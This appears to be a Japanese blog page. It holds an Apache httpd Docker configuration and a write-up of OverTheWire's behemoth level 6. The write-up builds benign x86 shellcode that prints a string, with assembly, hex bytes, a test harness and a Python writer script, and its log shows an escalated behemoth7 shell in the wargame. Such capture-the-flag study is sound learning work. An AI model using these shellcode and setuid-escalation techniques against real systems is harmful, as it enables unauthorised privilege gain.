Listen 80

#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule authn_file_module modules/mod_authn_file.so
#LoadModule authn_dbm_module modules/mod_authn_dbm.so
#LoadModule authn_anon_module modules/mod_authn_anon.so
#LoadModule authn_dbd_module modules/mod_authn_dbd.so
#LoadModule authn_socache_module modules/mod_authn_socache.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
#LoadModule authz_dbm_module modules/mod_authz_dbm.so
#LoadModule authz_owner_module modules/mod_authz_owner.so
#LoadModule authz_dbd_module modules/mod_authz_dbd.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
#LoadModule auth_form_module modules/mod_auth_form.so
#LoadModule auth_digest_module modules/mod_auth_digest.so
#LoadModule allowmethods_module modules/mod_allowmethods.so
#LoadModule file_cache_module modules/mod_file_cache.so
#LoadModule cache_module modules/mod_cache.so
#LoadModule cache_disk_module modules/mod_cache_disk.so
#LoadModule cache_socache_module modules/mod_cache_socache.so
#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
#LoadModule socache_dbm_module modules/mod_socache_dbm.so
#LoadModule socache_memcache_module modules/mod_socache_memcache.so
#LoadModule watchdog_module modules/mod_watchdog.so
#LoadModule macro_module modules/mod_macro.so
#LoadModule dbd_module modules/mod_dbd.so
#LoadModule dumpio_module modules/mod_dumpio.so
#LoadModule echo_module modules/mod_echo.so
#LoadModule buffer_module modules/mod_buffer.so
#LoadModule data_module modules/mod_data.so
#LoadModule ratelimit_module modules/mod_ratelimit.so
LoadModule reqtimeout_module modules/mod_reqtimeout.so
#LoadModule ext_filter_module modules/mod_ext_filter.so
#LoadModule request_module modules/mod_request.so
#LoadModule include_module modules/mod_include.so
LoadModule filter_module modules/mod_filter.so
#LoadModule reflector_module modules/mod_reflector.so
#LoadModule substitute_module modules/mod_substitute.so
#LoadModule sed_module modules/mod_sed.so
#LoadModule charset_lite_module modules/mod_charset_lite.so
#LoadModule deflate_module modules/mod_deflate.so
LoadModule mime_module modules/mod_mime.so
LoadModule log_config_module modules/mod_log_config.so
#LoadModule log_debug_module modules/mod_log_debug.so
#LoadModule log_forensic_module modules/mod_log_forensic.so
#LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
#LoadModule mime_magic_module modules/mod_mime_magic.so
#LoadModule expires_module modules/mod_expires.so
LoadModule headers_module modules/mod_headers.so
#LoadModule usertrack_module modules/mod_usertrack.so
#LoadModule unique_id_module modules/mod_unique_id.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
#LoadModule remoteip_module modules/mod_remoteip.so
#LoadModule session_module modules/mod_session.so
#LoadModule session_cookie_module modules/mod_session_cookie.so
#LoadModule session_dbd_module modules/mod_session_dbd.so
#LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so
#LoadModule dialup_module modules/mod_dialup.so
#LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule mpm_prefork_module modules/mod_mpm_prefork.so
#LoadModule mpm_worker_module modules/mod_mpm_worker.so
LoadModule unixd_module modules/mod_unixd.so
#LoadModule heartbeat_module modules/mod_heartbeat.so
#LoadModule heartmonitor_module modules/mod_heartmonitor.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
#LoadModule asis_module modules/mod_asis.so
#LoadModule info_module modules/mod_info.so
#LoadModule suexec_module modules/mod_suexec.so
<IfModule !mpm_prefork_module>
        #LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
        LoadModule cgi_module modules/mod_cgi.so
</IfModule>
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
#LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
#LoadModule actions_module modules/mod_actions.so
#LoadModule speling_module modules/mod_speling.so
#LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
#LoadModule rewrite_module modules/mod_rewrite.so

LoadModule negotiation_module modules/mod_negotiation.so

<IfModule unixd_module>
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# It is usually good practice to create a dedicated user and group for
# running httpd, as with most system services.
#
User apache
Group apache

</IfModule>

# 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
ServerAdmin you@example.com

#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
#
ServerSignature On

#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
#ServerName www.example.com:80
ServerName localhost:80

#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other
# <Directory> blocks below.
#
<Directory />
    AllowOverride none
    Require all denied
</Directory>

#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/opt/global/hello/HTML"
<Directory "/opt/global/hello/HTML">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.4/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks

    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   AllowOverride FileInfo AuthConfig Limit
    #
    AllowOverride None

    #
    # Controls who can get stuff from this server.
    #
    Require all granted
</Directory>

#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
<IfModule dir_module>
    DirectoryIndex index.html
</IfModule>

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
    Require all denied
</Files>

#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog logs/error.log

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

<IfModule log_config_module>
    #
    # The following directives define some format nicknames for use with
    # a CustomLog directive (see below).
    #
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    <IfModule logio_module>
      # You need to enable mod_logio.c to use %I and %O
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>

    #
    # The location and format of the access logfile (Common Logfile Format).
    # If you do not define any access logfiles within a <VirtualHost>
    # container, they will be logged here.  Contrariwise, if you *do*
    # define per-<VirtualHost> access logfiles, transactions will be
    # logged therein and *not* in this file.
    #
    #CustomLog logs/access.log common

    #
    # If you prefer a logfile with access, agent, and referer information
    # (Combined Logfile Format) you can use the following directive.
    #
    CustomLog logs/access.log combined
</IfModule>

<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to
    # exist in your server's namespace, but do not anymore. The client
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.

    #
    # ScriptAlias: This controls which directories contain server scripts.
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "/opt/global/hello/HTML/cgi-bin/"

</IfModule>

<IfModule cgid_module>
    #
    # ScriptSock: On threaded servers, designate the path to the UNIX
    # socket used to communicate with the CGI daemon of mod_cgid.
    #
    #Scriptsock cgisock
</IfModule>

#
# "/var/www/localhost/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/opt/global/hello/HTML/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
    Require all granted
</Directory>

<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
<IfModule mime_magic_module>
    MIMEMagicFile /etc/apache2/magic
</IfModule>

#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#

#
# MaxRanges: Maximum number of Ranges in a request before
# returning the entire resource, or one of the special
# values 'default', 'none' or 'unlimited'.
# Default setting is to accept 200 Ranges.
#MaxRanges unlimited

#
# EnableMMAP and EnableSendfile: On systems that support it,
# memory-mapping or the sendfile syscall may be used to deliver
# files.  This usually improves server performance, but must
# be turned off when serving from networked-mounted
# filesystems or if support for these functions is otherwise
# broken on your system.
# Defaults: EnableMMAP On, EnableSendfile Off
#
#EnableMMAP off
#EnableSendfile on

# Load config files from the config directory "/etc/apache2/conf.d".
#
IncludeOptional /etc/apache2/conf.d/*.conf

あとはdocker-compose up --buildして、ブラウザでhttp://localhost:8080/にアクセスすればこのようにTOP画面が表示されます。

f:id:masami256:20161215004524p:plain

ローカル環境にWebサーバを建てようとはあまり思わないんですが、docker使うと別の場所で動かすこともすぐできるし良いですよねヽ(=´▽`=)ノ

詳解UNIXプログラミング 第3版

詳解UNIXプログラミング 第3版

behemoth6めも

overthewireのbehemothのレベル6をクリアできたのでメモしときます。

この問題は脆弱性を突くタイプではなくて、特定の条件を満たすとshellが起動してクリアとなる問題でした。 これは実行するプログラムは/behemoth/behemoth6で、内部的には/behemoth/behemoth6_readerも実行されます。

behemoth6のほうは最初にpopen(2)でbehemoth6_readerを実行します。このとき、popen(2)の2番目の引数は"r"を指定しています。 behemoth6_readerはshellcode.txtというファイルを読み出し、読んだデータをシェルコードとして実行します。behemoth6_readerをcで書いたらだいたいこんな感じのことをやるコードです。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL_TEXT "./shellcode.txt"

int main(int argc, char **argv)
{
        struct stat st;
        int ret;
        char *buf;
        FILE *fp;
        void (*f)(void);
        int i;

        ret = stat(SHELL_TEXT, &st);
        if (ret) {
                perror("stat");
                exit(-1);
        }

        printf("[*] shellcode size is %d bytes\n", st.st_size);

        buf = malloc(st.st_size);
        if (!buf) {
                perror("malloc");
                exit(-1);
        }

        fp = fopen(SHELL_TEXT, "rb");
        if (!fp) {
                perror("fopen");
                exit(-1);
        }

        fread(buf, st.st_size, 1, fp);

        fclose(fp);

        printf("[*] run shell\n");
        f = (void (*)(void))buf;
        f();

        return 0;
}

そして、behemoth6のほうはbehemoth6_readerからの出力を受け取ってstrcmp()でその文字列と期待値のチェックをしています。そして、シェルコードの出力と期待値が合えばexecl(3)で/bin/shを実行してくれます。そうするとbehemoth7ユーザーの権限でシェルが使えるので/etc/behemoth_pass/behemoth7が読めるというからくりです。なので、ここで使用するシェルコードはシェルを起動するコードではなくて、文字列を表示するシェルコードが必要になります。

今回は以下のシェルコードの元ネタをまず作りました。コンパイルgcc -nostdlib -m32 hello_kitty.sです。1ラベルにジャンプした後にcall命令で_helloに行くとpop命令で文字列のアドレスを取れます。これでwrite(2)に渡す文字列のアドレスを設定しています。

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"

あとはシェルコードの動作確認用コード。

#include <stdio.h>

/*
hello_kitty.s

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"



test:     file format elf32-i386


# objdump
Disassembly of section .text:

08048098 <_start>:
 8048098:       eb 15                   jmp    80480af <_hello+0x15>

0804809a <_hello>:
 804809a:       31 c0                   xor    %eax,%eax
 804809c:       31 db                   xor    %ebx,%ebx
 804809e:       31 d2                   xor    %edx,%edx
 80480a0:       b0 04                   mov    $0x4,%al
 80480a2:       b3 01                   mov    $0x1,%bl
 80480a4:       b2 0a                   mov    $0xa,%dl
 80480a6:       59                      pop    %ecx
 80480a7:       cd 80                   int    $0x80
 80480a9:       b0 01                   mov    $0x1,%al
 80480ab:       b3 00                   mov    $0x0,%bl
 80480ad:       cd 80                   int    $0x80
 80480af:       e8 e6 ff ff ff          call   804809a <_hello>
 80480b4:       48                      dec    %eax
 80480b5:       65 6c                   gs insb (%dx),%es:(%edi)
 80480b7:       6c                      insb   (%dx),%es:(%edi)
 80480b8:       6f                      outsl  %ds:(%esi),(%dx)
 80480b9:       4b                      dec    %ebx
 80480ba:       69                      .byte 0x69
 80480bb:       74 74                   je     8048131 <_hello+0x97>
 80480bd:       79 00                   jns    80480bf <_hello+0x25>
*/

char shellcode[] = "\xeb\x15"
"\x31\xc0"
"\x31\xdb"
"\x31\xd2"
"\xb0\x04"
"\xb3\x01"
"\xb2\x0a"
"\x59"
"\xcd\x80"
"\xb0\x01"
"\xb3\x00"
"\xcd\x80"
"\xe8\xe6\xff\xff\xff"
"HelloKitty\0";

int main(int argc, char **argv)
{
        void (*f)(void) = (void (*)(void)) shellcode;
        f();

        return 0;
}

それと、シェルコードをファイルに書き出すpythonスクリプトです。最終的にはこれをサーバで実行してshellcode.txtを作ってます。

#!/usr/bin/env python2

shellcode = "\xeb\x15\x31\xc0\x31\xdb\x31\xd2"
shellcode += "\xb0\x04\xb3\x01\xb2\x0a\x59\xcd\x80"
shellcode += "\xb0\x01\xb3\x00\xcd\x80"
shellcode += "\xe8\xe6\xff\xff\xff"
shellcode += "HelloKitty\0"

with open('shellcode.txt', 'wb') as f:
    f.write(shellcode)

print('[*] Done.')

このスクリプトを動かすとこのようになってクリアとなります(∩´∀`)∩ワーイ

behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ ./shell.py
[*] Done.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ id
uid=13006(behemoth6) gid=13006(behemoth6) groups=13006(behemoth6)
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Incorrect output.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ chmod 777 /tmp/tmp.nDpCHusXQC
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Correct.
$ id
uid=13006(behemoth6) gid=13006(behemoth6) euid=13007(behemoth7) groups=13007(behemoth7),13006(behemoth6)
$

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)